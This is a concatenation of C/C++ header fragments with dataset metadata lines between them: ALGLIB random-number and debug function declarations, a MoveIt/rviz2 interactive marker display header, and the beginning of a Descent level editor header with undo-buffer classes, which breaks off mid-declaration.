!defined(AE_PARTIAL_BUILD) /************************************************************************* HQRNDState initialization with random values which come from standard RNG. -- ALGLIB -- Copyright 02.12.2009 by Bochkanov Sergey *************************************************************************/ void hqrndrandomize(hqrndstate &state); /************************************************************************* HQRNDState initialization with seed values -- ALGLIB -- Copyright 02.12.2009 by Bochkanov Sergey *************************************************************************/ void hqrndseed(const ae_int_t s1, const ae_int_t s2, hqrndstate &state); /************************************************************************* This function generates random real number in (0,1), not including interval boundaries State structure must be initialized with HQRNDRandomize() or HQRNDSeed(). -- ALGLIB -- Copyright 02.12.2009 by Bochkanov Sergey *************************************************************************/ double hqrnduniformr(const hqrndstate &state); /************************************************************************* This function generates random integer number in [0, N) 1. State structure must be initialized with HQRNDRandomize() or HQRNDSeed() 2. N can be any positive number except for very large numbers: * close to 2^31 on 32-bit systems * close to 2^62 on 64-bit systems An exception will be generated if N is too large. -- ALGLIB -- Copyright 02.12.2009 by Bochkanov Sergey *************************************************************************/ ae_int_t hqrnduniformi(const hqrndstate &state, const ae_int_t n); /************************************************************************* Random number generator: normal numbers This function generates one random number from normal distribution. Its performance is equal to that of HQRNDNormal2() State structure must be initialized with HQRNDRandomize() or HQRNDSeed(). -- ALGLIB -- Copyright 02.12.2009 by Bochkanov Sergey *************************************************************************/ double hqrndnormal(const hqrndstate &state); /************************************************************************* Random number generator: random X and Y such that X^2+Y^2=1 State structure must be initialized with HQRNDRandomize() or HQRNDSeed(). -- ALGLIB -- Copyright 02.12.2009 by Bochkanov Sergey *************************************************************************/ void hqrndunit2(const hqrndstate &state, double &x, double &y); /************************************************************************* Random number generator: normal numbers This function generates two independent random numbers from normal distribution. Its performance is equal to that of HQRNDNormal() State structure must be initialized with HQRNDRandomize() or HQRNDSeed(). -- ALGLIB -- Copyright 02.12.2009 by Bochkanov Sergey *************************************************************************/ void hqrndnormal2(const hqrndstate &state, double &x1, double &x2); /************************************************************************* Random number generator: exponential distribution State structure must be initialized with HQRNDRandomize() or HQRNDSeed(). -- ALGLIB -- Copyright 11.08.2007 by Bochkanov Sergey *************************************************************************/ double hqrndexponential(const hqrndstate &state, const double lambdav); /************************************************************************* This function generates random number from discrete distribution given by finite sample X. INPUT PARAMETERS State - high quality random number generator, must be initialized with HQRNDRandomize() or HQRNDSeed(). X - finite sample N - number of elements to use, N>=1 RESULT this function returns one of the X[i] for random i=0..N-1 -- ALGLIB -- Copyright 08.11.2011 by Bochkanov Sergey *************************************************************************/ double hqrnddiscrete(const hqrndstate &state, const real_1d_array &x, const ae_int_t n); /************************************************************************* This function generates random number from continuous distribution given by finite sample X. INPUT PARAMETERS State - high quality random number generator, must be initialized with HQRNDRandomize() or HQRNDSeed(). X - finite sample, array[N] (can be larger, in this case only leading N elements are used). THIS ARRAY MUST BE SORTED BY ASCENDING. N - number of elements to use, N>=1 RESULT this function returns random number from continuous distribution which tries to approximate X as mush as possible. min(X)<=Result<=max(X). -- ALGLIB -- Copyright 08.11.2011 by Bochkanov Sergey *************************************************************************/ double hqrndcontinuous(const hqrndstate &state, const real_1d_array &x, const ae_int_t n); #endif #if defined(AE_COMPILE_XDEBUG) || !defined(AE_PARTIAL_BUILD) /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Creates and returns XDebugRecord1 structure: * integer and complex fields of Rec1 are set to 1 and 1+i correspondingly * array field of Rec1 is set to [2,3] -- ALGLIB -- Copyright 27.05.2014 by Bochkanov Sergey *************************************************************************/ void xdebuginitrecord1(xdebugrecord1 &rec1); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Counts number of True values in the boolean 1D array. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ ae_int_t xdebugb1count(const boolean_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Replace all values in array by NOT(a[i]). Array is passed using "shared" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugb1not(const boolean_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Appends copy of array to itself. Array is passed using "var" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugb1appendcopy(boolean_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Generate N-element array with even-numbered elements set to True. Array is passed using "out" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugb1outeven(const ae_int_t n, boolean_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Returns sum of elements in the array. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ ae_int_t xdebugi1sum(const integer_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Replace all values in array by -A[I] Array is passed using "shared" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugi1neg(const integer_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Appends copy of array to itself. Array is passed using "var" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugi1appendcopy(integer_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Generate N-element array with even-numbered A[I] set to I, and odd-numbered ones set to 0. Array is passed using "out" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugi1outeven(const ae_int_t n, integer_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Returns sum of elements in the array. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ double xdebugr1sum(const real_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Replace all values in array by -A[I] Array is passed using "shared" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugr1neg(const real_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Appends copy of array to itself. Array is passed using "var" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugr1appendcopy(real_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Generate N-element array with even-numbered A[I] set to I*0.25, and odd-numbered ones are set to 0. Array is passed using "out" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugr1outeven(const ae_int_t n, real_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Returns sum of elements in the array. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ alglib::complex xdebugc1sum(const complex_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Replace all values in array by -A[I] Array is passed using "shared" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugc1neg(const complex_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Appends copy of array to itself. Array is passed using "var" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugc1appendcopy(complex_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Generate N-element array with even-numbered A[K] set to (x,y) = (K*0.25, K*0.125) and odd-numbered ones are set to 0. Array is passed using "out" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugc1outeven(const ae_int_t n, complex_1d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Counts number of True values in the boolean 2D array. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ ae_int_t xdebugb2count(const boolean_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Replace all values in array by NOT(a[i]). Array is passed using "shared" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugb2not(const boolean_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Transposes array. Array is passed using "var" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugb2transpose(boolean_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Generate MxN matrix with elements set to "Sin(3*I+5*J)>0" Array is passed using "out" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugb2outsin(const ae_int_t m, const ae_int_t n, boolean_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Returns sum of elements in the array. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ ae_int_t xdebugi2sum(const integer_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Replace all values in array by -a[i,j] Array is passed using "shared" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugi2neg(const integer_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Transposes array. Array is passed using "var" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugi2transpose(integer_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Generate MxN matrix with elements set to "Sign(Sin(3*I+5*J))" Array is passed using "out" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugi2outsin(const ae_int_t m, const ae_int_t n, integer_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Returns sum of elements in the array. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ double xdebugr2sum(const real_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Replace all values in array by -a[i,j] Array is passed using "shared" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugr2neg(const real_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Transposes array. Array is passed using "var" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugr2transpose(real_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Generate MxN matrix with elements set to "Sin(3*I+5*J)" Array is passed using "out" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugr2outsin(const ae_int_t m, const ae_int_t n, real_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Returns sum of elements in the array. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ alglib::complex xdebugc2sum(const complex_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Replace all values in array by -a[i,j] Array is passed using "shared" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugc2neg(const complex_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Transposes array. Array is passed using "var" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugc2transpose(complex_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Generate MxN matrix with elements set to "Sin(3*I+5*J),Cos(3*I+5*J)" Array is passed using "out" convention. -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ void xdebugc2outsincos(const ae_int_t m, const ae_int_t n, complex_2d_array &a); /************************************************************************* This is debug function intended for testing ALGLIB interface generator. Never use it in any real life project. Returns sum of a[i,j]*(1+b[i,j]) such that c[i,j] is True -- ALGLIB -- Copyright 11.10.2013 by Bochkanov Sergey *************************************************************************/ double xdebugmaskedbiasedproductsum(const ae_int_t m, const ae_int_t n, const real_2d_array &a, const real_2d_array &b, const boolean_2d_array &c); #endif } ///////////////////////////////////////////////////////////////////////// // // THIS SECTION CONTAINS COMPUTATIONAL CORE DECLARATIONS (FUNCTIONS) // ///////////////////////////////////////////////////////////////////////// namespace alglib_impl { #if defined(AE_COMPILE_NEARESTNEIGHBOR) || !defined(AE_PARTIAL_BUILD) void kdtreebuild(/* Real */ ae_matrix* xy, ae_int_t n, ae_int_t nx, ae_int_t ny, ae_int_t normtype, kdtree* kdt, ae_state *_state); void kdtreebuildtagged(/* Real */ ae_matrix* xy, /* Integer */ ae_vector* tags, ae_int_t n, ae_int_t nx, ae_int_t ny, ae_int_t normtype, kdtree* kdt, ae_state *_state); void kdtreecreaterequestbuffer(kdtree* kdt, kdtreerequestbuffer* buf, ae_state *_state); ae_int_t kdtreequeryknn(kdtree* kdt, /* Real */ ae_vector* x, ae_int_t k, ae_bool selfmatch, ae_state *_state); ae_int_t kdtreetsqueryknn(kdtree* kdt, kdtreerequestbuffer* buf, /* Real */ ae_vector* x, ae_int_t k, ae_bool selfmatch, ae_state *_state); ae_int_t kdtreequeryrnn(kdtree* kdt, /* Real */ ae_vector* x, double r, ae_bool selfmatch, ae_state *_state); ae_int_t kdtreetsqueryrnn(kdtree* kdt, kdtreerequestbuffer* buf, /* Real */ ae_vector* x, double r, ae_bool selfmatch, ae_state *_state); ae_int_t kdtreequeryaknn(kdtree* kdt, /* Real */ ae_vector* x, ae_int_t k, ae_bool selfmatch, double eps, ae_state *_state); ae_int_t kdtreetsqueryaknn(kdtree* kdt, kdtreerequestbuffer* buf, /* Real */ ae_vector* x, ae_int_t k, ae_bool selfmatch, double eps, ae_state *_state); ae_int_t kdtreequerybox(kdtree* kdt, /* Real */ ae_vector* boxmin, /* Real */ ae_vector* boxmax, ae_state *_state); ae_int_t kdtreetsquerybox(kdtree* kdt, kdtreerequestbuffer* buf, /* Real */ ae_vector* boxmin, /* Real */ ae_vector* boxmax, ae_state *_state); void kdtreequeryresultsx(kdtree* kdt, /* Real */ ae_matrix* x, ae_state *_state); void kdtreequeryresultsxy(kdtree* kdt, /* Real */ ae_matrix* xy, ae_state *_state); void kdtreequeryresultstags(kdtree* kdt, /* Integer */ ae_vector* tags, ae_state *_state); void kdtreequeryresultsdistances(kdtree* kdt, /* Real */ ae_vector* r, ae_state *_state); void kdtreetsqueryresultsx(kdtree* kdt, kdtreerequestbuffer* buf, /* Real */ ae_matrix* x, ae_state *_state); void kdtreetsqueryresultsxy(kdtree* kdt, kdtreerequestbuffer* buf, /* Real */ ae_matrix* xy, ae_state *_state); void kdtreetsqueryresultstags(kdtree* kdt, kdtreerequestbuffer* buf, /* Integer */ ae_vector* tags, ae_state *_state); void kdtreetsqueryresultsdistances(kdtree* kdt, kdtreerequestbuffer* buf, /* Real */ ae_vector* r, ae_state *_state); void kdtreequeryresultsxi(kdtree* kdt, /* Real */ ae_matrix* x, ae_state *_state); void kdtreequeryresultsxyi(kdtree* kdt, /* Real */ ae_matrix* xy, ae_state *_state); void kdtreequeryresultstagsi(kdtree* kdt, /* Integer */ ae_vector* tags, ae_state *_state); void kdtreequeryresultsdistancesi(kdtree* kdt, /* Real */ ae_vector* r, ae_state *_state); void kdtreeexplorebox(kdtree* kdt, /* Real */ ae_vector* boxmin, /* Real */ ae_vector* boxmax, ae_state *_state); void kdtreeexplorenodetype(kdtree* kdt, ae_int_t node, ae_int_t* nodetype, ae_state *_state); void kdtreeexploreleaf(kdtree* kdt, ae_int_t node, /* Real */ ae_matrix* xy, ae_int_t* k, ae_state *_state); void kdtreeexploresplit(kdtree* kdt, ae_int_t node, ae_int_t* d, double* s, ae_int_t* nodele, ae_int_t* nodege, ae_state *_state); void kdtreealloc(ae_serializer* s, kdtree* tree, ae_state *_state); void kdtreeserialize(ae_serializer* s, kdtree* tree, ae_state *_state); void kdtreeunserialize(ae_serializer* s, kdtree* tree, ae_state *_state); void _kdtreerequestbuffer_init(void* _p, ae_state *_state, ae_bool make_automatic); void _kdtreerequestbuffer_init_copy(void* _dst, void* _src, ae_state *_state, ae_bool make_automatic); void _kdtreerequestbuffer_clear(void* _p); void _kdtreerequestbuffer_destroy(void* _p); void _kdtree_init(void* _p, ae_state *_state, ae_bool make_automatic); void _kdtree_init_copy(void* _dst, void* _src, ae_state *_state, ae_bool make_automatic); void _kdtree_clear(void* _p); void _kdtree_destroy(void* _p); #endif #if defined(AE_COMPILE_HQRND) || !defined(AE_PARTIAL_BUILD) void hqrndrandomize(hqrndstate* state, ae_state *_state); void hqrndseed(ae_int_t s1, ae_int_t s2, hqrndstate* state, ae_state *_state); double hqrnduniformr(hqrndstate* state, ae_state *_state); ae_int_t hqrnduniformi(hqrndstate* state, ae_int_t n, ae_state *_state); double hqrndnormal(hqrndstate* state, ae_state *_state); void hqrndunit2(hqrndstate* state, double* x, double* y, ae_state *_state); void hqrndnormal2(hqrndstate* state, double* x1, double* x2, ae_state *_state); double hqrndexponential(hqrndstate* state, double lambdav, ae_state *_state); double hqrnddiscrete(hqrndstate* state, /* Real */ ae_vector* x, ae_int_t n, ae_state *_state); double hqrndcontinuous(hqrndstate* state, /* Real */ ae_vector* x, ae_int_t n, ae_state *_state); void _hqrndstate_init(void* _p, ae_state *_state, ae_bool make_automatic); void _hqrndstate_init_copy(void* _dst, void* _src, ae_state *_state, ae_bool make_automatic); void _hqrndstate_clear(void* _p); void _hqrndstate_destroy(void* _p); #endif #if defined(AE_COMPILE_XDEBUG) || !defined(AE_PARTIAL_BUILD) void xdebuginitrecord1(xdebugrecord1* rec1, ae_state *_state); ae_int_t xdebugb1count(/* Boolean */ ae_vector* a, ae_state *_state); void xdebugb1not(/* Boolean */ ae_vector* a, ae_state *_state); void xdebugb1appendcopy(/* Boolean */ ae_vector* a, ae_state *_state); void xdebugb1outeven(ae_int_t n, /* Boolean */ ae_vector* a, ae_state *_state); ae_int_t xdebugi1sum(/* Integer */ ae_vector* a, ae_state *_state); void xdebugi1neg(/* Integer */ ae_vector* a, ae_state *_state); void xdebugi1appendcopy(/* Integer */ ae_vector* a, ae_state *_state); void xdebugi1outeven(ae_int_t n, /* Integer */ ae_vector* a, ae_state *_state); double xdebugr1sum(/* Real */ ae_vector* a, ae_state *_state); void xdebugr1neg(/* Real */ ae_vector* a, ae_state *_state); void xdebugr1appendcopy(/* Real */ ae_vector* a, ae_state *_state); void xdebugr1outeven(ae_int_t n, /* Real */ ae_vector* a, ae_state *_state); ae_complex xdebugc1sum(/* Complex */ ae_vector* a, ae_state *_state); void xdebugc1neg(/* Complex */ ae_vector* a, ae_state *_state); void xdebugc1appendcopy(/* Complex */ ae_vector* a, ae_state *_state); void xdebugc1outeven(ae_int_t n, /* Complex */ ae_vector* a, ae_state *_state); ae_int_t xdebugb2count(/* Boolean */ ae_matrix* a, ae_state *_state); void xdebugb2not(/* Boolean */ ae_matrix* a, ae_state *_state); void xdebugb2transpose(/* Boolean */ ae_matrix* a, ae_state *_state); void xdebugb2outsin(ae_int_t m, ae_int_t n, /* Boolean */ ae_matrix* a, ae_state *_state); ae_int_t xdebugi2sum(/* Integer */ ae_matrix* a, ae_state *_state); void xdebugi2neg(/* Integer */ ae_matrix* a, ae_state *_state); void xdebugi2transpose(/* Integer */ ae_matrix* a, ae_state *_state); void xdebugi2outsin(ae_int_t m, ae_int_t n, /* Integer */ ae_matrix* a, ae_state *_state); double xdebugr2sum(/* Real */ ae_matrix* a, ae_state *_state); void xdebugr2neg(/* Real */ ae_matrix* a, ae_state *_state); void xdebugr2transpose(/* Real */ ae_matrix* a, ae_state *_state); void xdebugr2outsin(ae_int_t m, ae_int_t n, /* Real */ ae_matrix* a, ae_state *_state); ae_complex xdebugc2sum(/* Complex */ ae_matrix* a, ae_state *_state); void xdebugc2neg(/* Complex */ ae_matrix* a, ae_state *_state); void xdebugc2transpose(/* Complex */ ae_matrix* a, ae_state *_state); void xdebugc2outsincos(ae_int_t m, ae_int_t n, /* Complex */ ae_matrix* a, ae_state *_state); double xdebugmaskedbiasedproductsum(ae_int_t m, ae_int_t n, /* Real */ ae_matrix* a, /* Real */ ae_matrix* b, /* Boolean */ ae_matrix* c, ae_state *_state); void _xdebugrecord1_init(void* _p, ae_state *_state, ae_bool make_automatic); void _xdebugrecord1_init_copy(void* _dst, void* _src, ae_state *_state, ae_bool make_automatic); void _xdebugrecord1_clear(void* _p); void _xdebugrecord1_destroy(void* _p); #endif } #endif
40.191254
173
0.582017
[ "object" ]
302e72cc53abb76e2d7e66c836f877e52f5b0502
6,062
h
C
moveit_ros/visualization/motion_planning_rviz_plugin/include/moveit/motion_planning_rviz_plugin/interactive_marker_display.h
FabianSchuetze/moveit2
d1960f3994daff215c4a51de15c96ce618f4d97d
[ "BSD-3-Clause" ]
383
2019-02-16T01:24:30.000Z
2022-03-28T13:55:02.000Z
moveit_ros/visualization/motion_planning_rviz_plugin/include/moveit/motion_planning_rviz_plugin/interactive_marker_display.h
FabianSchuetze/moveit2
d1960f3994daff215c4a51de15c96ce618f4d97d
[ "BSD-3-Clause" ]
1,036
2019-02-19T08:53:31.000Z
2022-03-31T21:05:52.000Z
moveit_ros/visualization/motion_planning_rviz_plugin/include/moveit/motion_planning_rviz_plugin/interactive_marker_display.h
FabianSchuetze/moveit2
d1960f3994daff215c4a51de15c96ce618f4d97d
[ "BSD-3-Clause" ]
223
2019-02-19T06:40:12.000Z
2022-03-31T12:57:54.000Z
/* * Copyright (c) 2008, Willow Garage, Inc. * Copyright (c) 2019, Open Source Robotics Foundation, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ // TODO(JafarAbdi): Remove this file once the lag issue is fixed upstream https://github.com/ros2/rviz/issues/548 // This file is copied from https://github.com/ros2/rviz, the only difference is the addition of the private members // pnode_, private_executor_, and private_executor_thread_ to fix the lag in the motion planning display interactive // marker cause by Rviz having only a single thread executor #ifndef RVIZ_DEFAULT_PLUGINS__DISPLAYS__INTERACTIVE_MARKERS__INTERACTIVE_MARKER_DISPLAY_HPP_ #define RVIZ_DEFAULT_PLUGINS__DISPLAYS__INTERACTIVE_MARKERS__INTERACTIVE_MARKER_DISPLAY_HPP_ #include <map> #include <memory> #include <string> #include <vector> #include "visualization_msgs/msg/interactive_marker.hpp" #include "visualization_msgs/msg/interactive_marker_update.hpp" #include "visualization_msgs/msg/interactive_marker_init.hpp" #ifndef Q_MOC_RUN #include "interactive_markers/interactive_marker_client.hpp" #endif #include "rviz_common/display.hpp" #include "rviz_default_plugins/displays/interactive_markers/interactive_marker.hpp" namespace rviz_common { class BoolProperty; class Object; } // namespace rviz_common namespace rviz_default_plugins { class InteractiveMarkerNamespaceProperty; namespace displays { class MarkerBase; /// Displays Interactive Markers class InteractiveMarkerDisplay : public rviz_common::Display { Q_OBJECT public: InteractiveMarkerDisplay(); ~InteractiveMarkerDisplay() override { private_executor_->cancel(); if (private_executor_thread_.joinable()) private_executor_thread_.join(); private_executor_.reset(); } // Overrides from Display void update(float wall_dt, float ros_dt) override; void reset() override; protected: // Overrides from Display void fixedFrameChanged() override; void onInitialize() override; void onEnable() override; void onDisable() override; protected Q_SLOTS: void namespaceChanged(); void updateShowDescriptions(); void updateShowAxes(); void updateShowVisualAids(); void updateEnableTransparency(); void publishFeedback(visualization_msgs::msg::InteractiveMarkerFeedback& feedback); void onStatusUpdate(rviz_common::properties::StatusProperty::Level level, const std::string& name, const std::string& text); private: /// Subscribe to all message topics. void subscribe(); /// Unsubscribe from all message topics. void unsubscribe(); /// Called by InteractiveMarkerClient when successfully initialized. void initializeCallback(visualization_msgs::srv::GetInteractiveMarkers::Response::SharedPtr /*msg*/); /// Called by InteractiveMarkerClient when an update from a server is received. void updateCallback(visualization_msgs::msg::InteractiveMarkerUpdate::ConstSharedPtr msg); /// Called by InteractiveMarkerClient when it resets. void resetCallback(); /// Called by InteractiveMarkerClient when there is a status message. void statusCallback(interactive_markers::InteractiveMarkerClient::Status /*status*/, const std::string& message); void updateMarkers(const std::vector<visualization_msgs::msg::InteractiveMarker>& markers); void updatePoses(const std::vector<visualization_msgs::msg::InteractiveMarkerPose>& marker_poses); /// Erase all visualization markers. void eraseAllMarkers(); /// Erase visualization markers for an InteractionMarkerServer. /** * \param names The names markers to erase. */ void eraseMarkers(const std::vector<std::string>& names); std::map<std::string, InteractiveMarker::SharedPtr> interactive_markers_map_; // Properties InteractiveMarkerNamespaceProperty* interactive_marker_namespace_property_; rviz_common::properties::BoolProperty* show_descriptions_property_; rviz_common::properties::BoolProperty* show_axes_property_; rviz_common::properties::BoolProperty* show_visual_aids_property_; rviz_common::properties::BoolProperty* enable_transparency_property_; std::unique_ptr<interactive_markers::InteractiveMarkerClient> interactive_marker_client_; std::shared_ptr<rclcpp::Node> pnode_; std::shared_ptr<rclcpp::executors::SingleThreadedExecutor> private_executor_; std::thread private_executor_thread_; }; // class InteractiveMarkerDisplay } // namespace displays } // namespace rviz_default_plugins #endif // RVIZ_DEFAULT_PLUGINS__DISPLAYS__INTERACTIVE_MARKERS__INTERACTIVE_MARKER_DISPLAY_HPP_
37.419753
116
0.7839
[ "object", "vector" ]
303923959dfc0ec79a429d8686c97b48d40aeb91
362
h
C
DowneImage/Model.h
aTreey/DownImage
b2a6563e98683dff8e8d19976fb9bb394dddc3b0
[ "MIT" ]
null
null
null
DowneImage/Model.h
aTreey/DownImage
b2a6563e98683dff8e8d19976fb9bb394dddc3b0
[ "MIT" ]
null
null
null
DowneImage/Model.h
aTreey/DownImage
b2a6563e98683dff8e8d19976fb9bb394dddc3b0
[ "MIT" ]
null
null
null
// // Model.h // DowneImage // // Created by Hongpeng Yu on 2017/2/12. // Copyright © 2017年 Hongpeng Yu. All rights reserved. // #import <Foundation/Foundation.h> @interface Model : NSObject @property (nonatomic, copy) NSString *name; @property (nonatomic, copy) NSString *icon; @property (nonatomic, copy) NSString *download; + (NSArray *)appInfos; @end
20.111111
55
0.70442
[ "model" ]
303c21566a993fcf263941202dd5b625438b5b9b
3,657
h
C
src/dlc.h
SiriusTR/dle-experimental
2ee17b4277b68eef57960d5cf9762dd986eaa0d9
[ "MIT" ]
null
null
null
src/dlc.h
SiriusTR/dle-experimental
2ee17b4277b68eef57960d5cf9762dd986eaa0d9
[ "MIT" ]
3
2019-09-10T03:50:40.000Z
2019-09-23T04:20:14.000Z
src/dlc.h
SiriusTR/dle-experimental
2ee17b4277b68eef57960d5cf9762dd986eaa0d9
[ "MIT" ]
1
2021-10-02T14:16:28.000Z
2021-10-02T14:16:28.000Z
// dlc.h : main header file for the DLC application // #ifndef __dlc_h #define __dlc_h #if _MSC_VER >= 1000 #pragma once #endif // _MSC_VER >= 1000 #ifndef __AFXWIN_H__ #error include 'stdafx.h' before including this file for PCH #endif #include "dlcres.h" // main symbols #include "dlc_i.h" #include "mainfrm.h" #include "mine.h" extern int nLayout; ///////////////////////////////////////////////////////////////////////////// // CDlcApp: // See dlc.cpp for the implementation of this class // #define MAX_UNDOS 100 struct tUndoBuffer; typedef struct tUndoBuffer { tUndoBuffer *prevBuf; tUndoBuffer *nextBuf; MINE_DATA undoBuffer; } tUndoBuffer; class CUndoList { public: tUndoBuffer *m_head; tUndoBuffer *m_tail; tUndoBuffer *m_current; int m_maxSize; int m_size; int m_delay; int m_enabled; CUndoList (int maxSize = 100); ~CUndoList (); bool Update (bool bForce = false); bool Undo (); bool Redo (); void Truncate (); void Reset (); bool Revert (); void Delay (bool bDelay); int UndoCount (); int Enable (int bEnable); int SetMaxSize (int maxSize); inline int GetMaxSize (void) { return m_maxSize; } }; class CDlcApp : public CWinApp { public: CDlcDocTemplate *m_pDlcDoc; char m_szCaption [256]; char m_szExtCaption [256]; CUndoList m_undoList; int m_delayUndo; int m_nModified; BOOL m_bSplashScreen; bool m_bMaximized; CDlcApp(); void DelayUndo (bool bDelay); bool UpdateUndoBuffer (bool bForce = false); bool RevertUndoBuffer (); void ResetUndoBuffer (); bool Undo (); bool Redo (); int UndoCount (); int EnableUndo (int bEnable); inline void LockUndo () { DelayUndo (true); } inline void UnlockUndo () { DelayUndo (false); } inline 